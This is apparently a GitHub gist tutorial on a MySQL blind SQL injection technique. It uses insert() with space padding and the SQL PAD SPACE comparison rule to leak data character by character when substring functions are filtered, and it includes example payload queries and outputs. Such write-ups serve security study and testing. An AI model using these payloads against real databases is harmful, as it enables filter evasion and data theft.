Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active August 25, 2020 15:06
Show Gist options
  • Star 12 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save stypr/43fce10db9fa44b5f072442245d9e82e to your computer and use it in GitHub Desktop.
Save stypr/43fce10db9fa44b5f072442245d9e82e to your computer and use it in GitHub Desktop.
Blind SQLi 2018: Utilizing SQL standard to create payloads

There are several ways to bypass blind SQLi filters, and today I will introduce MySQL blind sqli payload using an insert() function.

Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.

This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ... ) are blocked by the script.

TL;DR

You can do this in MySQL

(find_string)=(insert(column_to_leak, char_idx+1, 255, space(n))); # n can be anything starting from 0

>> SELECT ('a')=(insert('abcdef', 2, 255, space(0)));
1
>> SELECT ('a')=(insert('abcdef', 2, 255, space(2)));
1
>> SELECT ('b')in(insert('abcdef', 2, 255, space(3)));
0
...
>> SELECT ('ab')in(insert('abcdef', 3, 255, space(4)));
1
>> SELECT flag FROM flag WHERE (0x45)in(insert(flag, 2, 255, space(123)));
'flag'

Likewise, if replacing functions like insert() exist in other SQLs, replacing and comparing data with padded spaces should also work :)

How does it work?

How MySQL compares strings

The MySQL official documentation where it states that:

All MySQL collations are of type PAD SPACE. 

This means that all CHAR, VARCHAR, and TEXT values are compared without regard to any trailing spaces. 

“Comparison” in this context does not include the LIKE pattern-matching operator, for which trailing spaces are significant.
...[skipped]...
This is true for all MySQL versions, and is not affected by the server SQL mode.

To make it short, when 'a'='a ' is compared in MySQL, the LHS is padded with space until the length is equal to the RHS, which eventually equals to 'a '='a '.

What is insert()?

Assuming that you understood the above logic, let's see what does insert() function actually do.

INSERT(str,pos,len,newstr)

Returns the string str, with the substring beginning at position pos and len characters long replaced by the string newstr.

Returns the original string if pos is not within the length of the string.

Replaces the rest of the string from position pos if len is not within the length of the rest of the string. Returns NULL if any argument is NULL.

Let's see some examples to let you understand.

>> SELECT INSERT('ABCDEFGHI', 2, 1, 'stypr');
AstyprCDEFGHI
>> SELECT INSERT('ABCDEFGHI', 2, 2, 'stypr');
AstyprDEFGHI

Now the exploitation part..

Using the insert() function with the comparison rule, we can exploit the function like the following:

>> SELECT INSERT('ABCDEFGHI', 2, 255, SPACE(1));
A(space)
>> SELECT INSERT('ABCDEFGHI', 3, 255, SPACE(1));
AB(space)
....

By utilizing this behavior, we can eventually do things like this

>> SELECT 'A'=INSERT('ABCDEFGHI', 2, 255, SPACE(1));
1

You can be questioned why I'm adding spaces when the folllowing also work

>> SELECT 'A'=INSERT('ABCDEFGHI', 2, 255, SPACE(0)); # SPACE(0) = Nothing..
1
>> SELECT 'A'=INSERT('ABCDEFGHI', 2, 255, ''); # SPACE(0) = Nothing..
1

Well, BECAUSE THIS COMPARISON RULE IS NOT LIMITED IN MYSQL!

WTF, SQL?

The SQL standard (ISO/IEC 9075) stats the following:

If the length in characters of X is not equal to the length in characters of Y, 

then the shorter string is effectively replaced, for the purposes of comparison, 

with a copy of itself that has been extended to the length of the longer string by concatenation 

on the right of one or more pad characters, where the pad character is chosen based on CS.

If CS has the NO PAD characteristic, then the pad character is an implementation-dependent character 

different from any character in the character set of X and Y that collates less than any string under CS.

Otherwise, the pad character is a <space>.

This means that commonly-used typical SQLs (MSSQL, MySQL, Postgres, ...[Add here]) are following this rule.

Achieving blind SQLi is not limited to substring of strings or similar methods; If replacing functions exist in any SQL language, you can try to compare using this rule and achieve blind SQLi.

@byNex
Copy link

byNex commented Jan 26, 2018

greaaaaaaaat!!!!!!!

@pengdrop
Copy link

great

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment